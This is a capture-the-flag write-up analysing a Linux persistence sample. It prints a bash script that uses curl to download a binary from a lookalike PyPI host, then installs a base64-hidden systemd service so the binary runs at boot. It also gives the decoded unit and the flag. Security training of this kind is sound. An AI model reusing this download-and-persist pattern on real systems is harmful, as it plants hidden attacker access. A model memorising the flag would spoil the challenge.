# Challenge: Extraterrestrial Persistence

## Challenge Description :

There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?

## Context :

- We are given a bash script that contains a base64 string when decoded we are given the flag.

## Notes :

- Tools:
    - Text editor - To open the bash script / downloaded files.
    - You can choose your way to decoding the base64 string for simplicity im going to use a website, “www.base64decode.org”

## Flag :

- Download the file and open it up. It is pretty obvious what the strings are.

```
n=`whoami`
h=`hostname`
path='/usr/local/bin/service'
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi

curl https://files.pypi-install.com/packeges/service -o $path

chmod +x $path

echo -e
"W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI
9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG9
0ClJ1bWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWN
TdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKC1tJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnR
hcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service

systemctl enable service.service
```

- When we decode the string we get

```
[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
After=network.target network-online.target
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/local/bin/service
ExecStop=/usr/local/bin/service
[Install]
WantedBy=multi-user.target
```

[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
After=network.target network-online.target
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/local/bin/service
ExecStop=/usr/local/bin/service
[Install]
WantedBy=multi-user.target

- Giving us the flag: HTB{th3s3_4l13nS_4r3_s00000_b4s1c}